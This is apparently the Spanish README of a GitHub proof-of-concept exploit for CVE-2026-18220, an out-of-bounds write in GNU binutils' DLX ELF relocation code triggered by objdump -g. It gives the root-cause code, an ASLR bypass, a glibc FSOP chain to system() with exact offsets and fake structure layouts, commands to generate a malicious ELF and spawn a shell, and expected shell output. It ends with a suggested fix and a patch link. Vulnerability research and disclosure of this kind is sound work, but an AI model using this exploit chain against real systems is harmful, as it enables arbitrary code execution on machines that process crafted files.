
objdump-Out-Of-Bounds-write — Actualizado!
Prueba de Concepto (PoC) que demuestra la CVE-2026-18220, una vulnerabilidad de escritura fuera de los límites (OOB) en el backend DLX ELF de GNU binutils (desencadenada específicamente mediante `objdump -g`)
GNU Binutils objdump — OOB Write → FSOP → Ejecución de código arbitrario
Objetivo: GNU Binutils (todas las versiones hasta HEAD) — objdump
Entorno: Debian 13 (Trixie), glibc 2.41, x86_64
Impacto: Ejecución de código arbitrario
Vector: Archivo ELF manipulado procesado por objdump -g
ASLR: Evitado (delta mmap determinista)
Agradecimientos
Un enorme agradecimiento a bikini por la mención y su juego limpio con respecto a este descubrimiento. Es un gran tipo, tuve el placer de charlar con él, y ha hecho algunos hallazgos increíbles por su cuenta. ¡Echad un vistazo a su trabajo!
Vulnerabilidad
Causa raíz — bfd/elf32-dlx.c
El manejador de reubicación R_DLX_RELOC_26_PCREL (elf32_dlx_relocate26) realiza una lectura/escritura de 4 bytes en data + reloc_entry->address sin validar el desplazamiento contra el tamaño de la sección. Dado que la función devuelve bfd_reloc_ok, la verificación de límites genérica en bfd/reloc.c se omite por completo.
// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits
val = (sym->section->vma + sym->value) - vallo;
insn = (insn & 0xFC000000) | (val & 0x03FFFFFF);
bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write
return bfd_reloc_ok; // skips bounds check
El desplazamiento reloc_entry->address se lee directamente del archivo ELF y puede apuntar arbitrariamente más allá del búfer de la sección.
Truco de proximidad mmap
En x86_64, los desplazamientos ELF32 se extienden con ceros, limitando las escrituras a desplazamientos positivos. Una sección .debug_info ≥ 128 KB obliga a malloc() a usar mmap(), colocando el búfer adyacente al segmento de datos de libc:
┌──────────────────────────────────────┐ ← same mmap region
│ .debug_info buffer (192 KB) │ data = 0x7f...d010
│ ├── fake _IO_wide_data (+0x1000) │
│ └── fake _IO_jump_t (+0x2000) │
│ ... │
│ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0
│ _IO_wfile_jumps │ wfile = data + 0x218218
│ system() │ system() = data + 0x87100
└──────────────────────────────────────┘
El delta stderr - data = 0x21A4D0 es constante en todas las ejecuciones de ASLR porque ambas regiones son asignadas por el mismo mmap durante la carga de libc.
Cadena de explotación FSOP
Ruta de ejecución
objdump writes to stderr ("Can't get contents for section...")
└─► _IO_wfile_overflow(stderr)
└─► _IO_wdoallocbuf(stderr)
└─► _IO_WDOALLOCATE(stderr)
= stderr->_wide_data->_wide_vtable->__doallocate(stderr)
= fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
= system(stderr)
= system("p;sh") ← stderr._flags[0:4] = "p;sh"
Las 5 escrituras OOB (PCREL26)
| # | Objetivo (desplazamiento desde data) | Efecto |
|---|---|---|
| 0 | 0x21A4CF = stderr − 1 | _flags[0:3] = cmd[0..2] → inicio del argumento de system() |
| 1 | 0x21A4F8 = stderr + 0x28 | _IO_write_ptr ≠ 0 → fuerza un vaciado → desbordamiento |
| 2 | 0x21A56F = stderr + 0x9F | _wide_data[0:3] → apunta a _IO_wide_data falsa |
| 3 | 0x21A5A7 = stderr + 0xD7 | vtable[0:3] → apunta a _IO_wfile_jumps |
| 4 | 0x21A4D2 = stderr + 2 | _flags[3] = cmd[3], relleno limpiado → terminador nulo |
Estructuras falsas (en el búfer de la sección)
data + 0x1000 : fake _IO_wide_data
+0xE0 : _wide_vtable → data + 0x2000
data + 0x2000 : fake _IO_jump_t
+0x68 : __doallocate → system()
Restricciones del comando
El exploit admite comandos de 2 a 4 caracteres. La reubicación 0 escribe _flags[0:3] y la reubicación 4 escribe _flags[3] + limpia el relleno, dando a system() hasta 4 caracteres antes del terminador nulo natural.
Solo los primeros dos bytes están restringidos por el diseño de banderas FILE de glibc:
| Bit | Bandera | Restricción | Razón |
|---|---|---|---|
| 1 | _IO_UNBUFFERED | cmd[0] & 0x02 == 0 | de lo contrario _IO_wdoallocbuf omite __doallocate |
| 3 | _IO_NO_WRITES | cmd[0] & 0x08 == 0 | de lo contrario el desbordamiento devuelve WEOF inmediatamente |
| 13 | _IO_IS_FILEBUF | cmd[1] & 0x20 != 0 | requerido para entrar en el bloque doallocate |
cmd[2] y cmd[3] no tienen restricciones.
| Comando | Bytes | Efecto |
|---|---|---|
"ps" | 70 73 | listar procesos |
"p;sh" | 70 3B 73 68 | generar un shell interactivo ← más útil |
"p;ls" | 70 3B 6C 73 | listar directorio |
"p;id" | 70 3B 69 64 | imprimir uid/gid |
Reproducción
Prerrequisitos
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)
Generar payload + ejecutar exploit
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin
# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh" # interactive shell
python3 poc_ptrace.py --cmd "p;id" # print uid/gid
python3 poc_ptrace.py # default: "ps"
El exploit reintenta automáticamente hasta 5 veces en desajustes del byte 3 de ASLR (~12% por intento), alcanzando una tasa de éxito de ~99.998%.
Salida esperada
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr = 0x0075b1eda524e0
[*] system = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0 (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done
Solución sugerida
Añadir una verificación de límites en elf32_dlx_relocate26() antes de acceder a los datos de la sección:
if (reloc_entry->address + 4 > input_section->size)
return bfd_reloc_outofrange;
Archivos
| Archivo | Descripción |
|---|---|
poc_generate.py | Genera el payload ELF DLX malicioso (exploit.bin) con 5 reubicaciones OOB |
poc_ptrace.py | Exploit independiente — evasión de ASLR basada en ptrace, bucle de reintento, no requiere GDB |
exploit.bin | Payload pregenerado (cmd por defecto "p;sh") |
Divulgación
Esta vulnerabilidad fue reportada a los mantenedores de GNU Binutils. El código del exploit se proporciona únicamente para fines de investigación de seguridad autorizados.
Parche
https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5